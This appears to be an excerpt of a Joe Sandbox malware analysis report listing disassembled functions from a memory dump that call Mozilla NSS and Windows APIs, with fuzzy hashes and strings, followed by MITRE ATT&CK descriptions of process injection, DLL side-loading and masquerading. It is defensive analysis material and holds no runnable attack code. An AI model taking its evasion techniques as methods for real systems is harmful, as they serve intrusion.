Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: c99df8dae17f1eb23d3d851509071520fd8649dd974b36308b2e134e2f996702
Instruction ID: 417ba4ecff019fb6497b39519250b81821829cfbb66e3591a24bc9dc26620f47
Opcode Fuzzy Hash: c99df8dae17f1eb23d3d851509071520fd8649dd974b36308b2e134e2f996702
Instruction Fuzzy Hash: CC1191716096009FD700AF79D44819ABBF4FF4A354F01496ADC88D7B00EB30E855CBD6

Function 6C6EAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C6D5F17,?,?,?,?,?,?,?,?,6C6DAAD4), ref: 6C6EAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C6D5F17,?,?,?,?,?,?,?,?,6C6DAAD4), ref: 6C6EACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C6DAAD4), ref: 6C6EACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C6DAAD4), ref: 6C6EACDB

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 3a2f4c525f32834d09128abd0bc301437389e9b6c8e269fcf06cb9c223d3cb32
Instruction ID: 4dac37b4ff56d7f355ac360ab2dbd31bc62a3c1bb401c88d94d9b1bfd20f8438
Opcode Fuzzy Hash: 3a2f4c525f32834d09128abd0bc301437389e9b6c8e269fcf06cb9c223d3cb32
Instruction Fuzzy Hash: EE014CB1602B019BEB50DF29D908753BBF8FF04B59B50483AD85AC3A01E731F455CB99

Function 6C651DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C651DFB

Part of subcall function 6C6495B0: TlsGetValue.KERNEL32(00000000,?,6C6600D2,00000000), ref: 6C6495D2
Part of subcall function 6C6495B0: EnterCriticalSection.KERNEL32(?,?,?,6C6600D2,00000000), ref: 6C6495E7
Part of subcall function 6C6495B0: PR_Unlock.NSS3(?,?,?,?,6C6600D2,00000000), ref: 6C649605

PR_EnterMonitor.NSS3 ref: 6C651E09

Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C7090AB
Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C7090C9
Part of subcall function 6C709090: EnterCriticalSection.KERNEL32 ref: 6C7090E5
Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C709116
Part of subcall function 6C709090: LeaveCriticalSection.KERNEL32 ref: 6C70913F

Part of subcall function 6C64E190: PR_EnterMonitor.NSS3(?,?,6C64E175), ref: 6C64E19C
Part of subcall function 6C64E190: PR_EnterMonitor.NSS3(6C64E175), ref: 6C64E1AA
Part of subcall function 6C64E190: PR_ExitMonitor.NSS3 ref: 6C64E208
Part of subcall function 6C64E190: PL_HashTableRemove.NSS3(?), ref: 6C64E219
Part of subcall function 6C64E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C64E231
Part of subcall function 6C64E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C64E249
Part of subcall function 6C64E190: PR_ExitMonitor.NSS3 ref: 6C64E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C651E37
PR_ExitMonitor.NSS3 ref: 6C651E4A

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 4d825234abd6fede2abae59bff99e313f8ea69ca645e4232965fa19760336aab
Instruction ID: 2421a5d70e7c0f02ad82dc23f53ee102019fd533ea4bba0d7fa869026d3ebe2d
Opcode Fuzzy Hash: 4d825234abd6fede2abae59bff99e313f8ea69ca645e4232965fa19760336aab
Instruction Fuzzy Hash: CA012671B4015197EB009F69EC08F4A77B4AB42B4CF714031E9299BB90E731E836CBD9

Function 6C651D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C651D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C651D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C651D9C
free.MOZGLUE(00000000), ref: 6C651DB8

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: ea1d833c1d06456501370f38d630067eb84e5f81d98db1f24bcc7201fd621c8d
Instruction ID: d764a7dea8b6073729df369b9eb279f3d1be287225ceb3c3e714be1b1376a340
Opcode Fuzzy Hash: ea1d833c1d06456501370f38d630067eb84e5f81d98db1f24bcc7201fd621c8d
Instruction Fuzzy Hash: 4AF0F9B360521067FF102E599C41B8776D8AB85798F700335DD194BB40D760E81586EE

Function 6C69FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C649003,?), ref: 6C69FD91

Part of subcall function 6C6A0BE0: malloc.MOZGLUE(6C698D2D,?,00000000,?), ref: 6C6A0BF8
Part of subcall function 6C6A0BE0: TlsGetValue.KERNEL32(6C698D2D,?,00000000,?), ref: 6C6A0C15

PORT_Alloc_Util.NSS3(A4686C6A,?), ref: 6C69FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6A,?,?), ref: 6C69FDC4
free.MOZGLUE(00000000,?,?), ref: 6C69FDD1

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 8635483aa7f7f70b93b7fb51bd3c4973322f1c8729da8e92155dfe8ad9c113d4
Instruction ID: 6d22a402f3cc361f2bfb5ef5def80db2b594f857f8648ae9f251f91c085979ed
Opcode Fuzzy Hash: 8635483aa7f7f70b93b7fb51bd3c4973322f1c8729da8e92155dfe8ad9c113d4
Instruction Fuzzy Hash: 99F0C8B16012035BFF004F55DD80917B79CEF45399B158075FD098AF11E721D819C7EA

Function 6C75CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C75CC61
free.MOZGLUE ref: 6C75CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C75CC80
free.MOZGLUE(?), ref: 6C75CC87

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 2f299487198e86ae79cbea0ec4bf17a5099320efda04e5b489e2925e5eaa6227
Instruction ID: 6f79a401c65683a9705b038b2654255cf0e0dba2ba71524d02c4f6b8cfa9f1d6
Opcode Fuzzy Hash: 2f299487198e86ae79cbea0ec4bf17a5099320efda04e5b489e2925e5eaa6227
Instruction Fuzzy Hash: 59E030767006089BCE10EFA8DC4488677ACEF4A2717150565E691C3700D231F905CBA1

Function 6C639DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C639E1F

Part of subcall function 6C5F13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C5C2352,?,00000000,?,?), ref: 6C5F1413
Part of subcall function 6C5F13C0: memcpy.VCRUNTIME140(00000000,R#\l,00000002,?,?,?,?,6C5C2352,?,00000000,?,?), ref: 6C5F14C0

Strings

ESCAPE expression must be a single character, xrefs: 6C639F78
LIKE or GLOB pattern too complex, xrefs: 6C63A006

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 3f44d4e252e35008815443d09de7e03533c9aec75ac88e6aa9b13785b7d01374
Instruction ID: 8595a6c6fa98bf6fde686923127bd6a10c75e6dbdb78791a43d2f3e8eefd34ef
Opcode Fuzzy Hash: 3f44d4e252e35008815443d09de7e03533c9aec75ac88e6aa9b13785b7d01374
Instruction Fuzzy Hash: B081E771A046658BDB00CF29C4803A9B7B2AF4531CF28B65DD8AC8BBC1DB35D846CF94

Function 6C694D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C694D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C694DE6

Strings

%d.%d, xrefs: 6C694DDE

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: c1d7df753a27f3f07e7b88d26fbd463b935d3d13eba1849ef0097a158585b170
Instruction ID: 4872f479fd392f55f0b81fc10a888a19ce8411e39e5f9368e05cb277f3647e34
Opcode Fuzzy Hash: c1d7df753a27f3f07e7b88d26fbd463b935d3d13eba1849ef0097a158585b170
Instruction Fuzzy Hash: 943100B2D042196BEF109B619C05BFF77B8DF45308F050429ED159B751EB709909CBE9

Function 6C6B4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8kl,00000000,00000000,?,?,6C6B3827,?,00000000), ref: 6C6B4D0A

Part of subcall function 6C6A0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6A08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C6B4D22

Part of subcall function 6C69FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C641A3E,00000048,00000054), ref: 6C69FD56

Strings

'8kl, xrefs: 6C6B4D07

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8kl
API String ID: 1521942269-4107559852
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: c8d7fc3e2e47bad4948bbf04271b4fd4538cb2a714aabe690d5f93019bee7888
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 6EF0623260122567EB104F6BAC80B6736DC9B427BDF150271ED28EB791E6B1CC1587E9

Function 6C6DAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C6DAF78

Part of subcall function 6C63ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C63ACE2
Part of subcall function 6C63ACC0: malloc.MOZGLUE(00000001), ref: 6C63ACEC
Part of subcall function 6C63ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C63AD02
Part of subcall function 6C63ACC0: TlsGetValue.KERNEL32 ref: 6C63AD3C
Part of subcall function 6C63ACC0: calloc.MOZGLUE(00000001,?), ref: 6C63AD8C
Part of subcall function 6C63ACC0: PR_Unlock.NSS3 ref: 6C63ADC0
Part of subcall function 6C63ACC0: PR_Unlock.NSS3 ref: 6C63AE8C
Part of subcall function 6C63ACC0: free.MOZGLUE(?), ref: 6C63AEAB

memcpy.VCRUNTIME140(6C7A3084,6C7A02AC,00000090), ref: 6C6DAF94

Strings

SSL, xrefs: 6C6DAF73

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: c8fecbdf8748ff9954ea1c44c0a1f2cb3d32278650918942c0fc0644176a1992
Instruction ID: a37cf5054e64b4dbd33b6cb4265ffc0676907bbe8b1aeed3059d4f57392c46e8
Opcode Fuzzy Hash: c8fecbdf8748ff9954ea1c44c0a1f2cb3d32278650918942c0fc0644176a1992
Instruction Fuzzy Hash: 37215CB2605A48EECB10DFD3B54731BBB72BB82249712512CD11A4BB29D731E004AFD9

Function 6C630F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C630936,FFFFE8AE,?,6C5C16B7,00000000,?,6C630936,00000000,?,6C5C204A), ref: 6C630F1B

Part of subcall function 6C631370: GetSystemInfo.KERNEL32(?,?,?,?,6C630936,?,6C630F20,6C630936,FFFFE8AE,?,6C5C16B7,00000000,?,6C630936,00000000), ref: 6C63138F

PR_NewLogModule.NSS3(clock,6C630936,FFFFE8AE,?,6C5C16B7,00000000,?,6C630936,00000000,?,6C5C204A), ref: 6C630F25

Part of subcall function 6C631110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C630936,00000001,00000040), ref: 6C631130
Part of subcall function 6C631110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C630936,00000001,00000040), ref: 6C631142
Part of subcall function 6C631110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C630936,00000001), ref: 6C631167

Strings

clock, xrefs: 6C630F20

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 9ba15f15311cddfb3b6822d7f9e777555e5cabedd561a983efe3874c4ffe0a2e
Instruction ID: 98e37f0c58bb644f90ceca782a1912422ddb4ca20b17865a1b57717e06827047
Opcode Fuzzy Hash: 9ba15f15311cddfb3b6822d7f9e777555e5cabedd561a983efe3874c4ffe0a2e
Instruction Fuzzy Hash: 88D0123160416895D6116697AC45BDFB7ACCBC327AF107836E12C41D104B6890DAD67D

Function 6C6A0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C6A0DF5
TlsGetValue.KERNEL32 ref: 6C6A0E2D
TlsGetValue.KERNEL32 ref: 6C6A0E58
TlsGetValue.KERNEL32 ref: 6C6A0E84

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 6b817a6f556abafce39897c6e01aea0c132d76299bf4d87b0fed8e9ce6f4f58c
Instruction ID: 436dba39e563bcfc561387dc556adc1ee868f151373a8a8af3b7a903da3912de
Opcode Fuzzy Hash: 6b817a6f556abafce39897c6e01aea0c132d76299bf4d87b0fed8e9ce6f4f58c
Instruction Fuzzy Hash: 6031C470644390CFEB006FB8D5842997BB4BF06349F115679D89AC7A21EB35C887DB89

Function 6C6A0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C642AF5,?,?,?,?,?,6C640A1B,00000000), ref: 6C6A0F1A
malloc.MOZGLUE(00000001), ref: 6C6A0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6A0F42
TlsGetValue.KERNEL32 ref: 6C6A0F5B

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 0161e0d6cfd814278453275765f93ae96bf338ef896445b640bd3ddc998366b9
Instruction ID: fea6e99d3686e620313514d20b2fdc41b8a7c4e090da03e37789d77d41d2561c
Opcode Fuzzy Hash: 0161e0d6cfd814278453275765f93ae96bf338ef896445b640bd3ddc998366b9
Instruction Fuzzy Hash: 6301F071E002905BE7101B7E9E085977AACEF47399F011571EC1DD3A21DB31CC56C5EA

Function 6C651EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C651ECE
free.MOZGLUE(?), ref: 6C651EDF
free.MOZGLUE(?), ref: 6C651EEF
free.MOZGLUE(?), ref: 6C651EF5

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 48380003b4e333599bf43b6ad37e1017dad8c768b268c371856cc54f2b721320
Instruction ID: 0d5ebb2202784e5f3854dafea133ad2ab895deee6acfefbfa8e3f4a1f5f59182
Opcode Fuzzy Hash: 48380003b4e333599bf43b6ad37e1017dad8c768b268c371856cc54f2b721320
Instruction Fuzzy Hash: 22F089B17005056BEB00EF65DC45D67B3ACFF45695B540435EC1EC3A00D725F52687E9

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
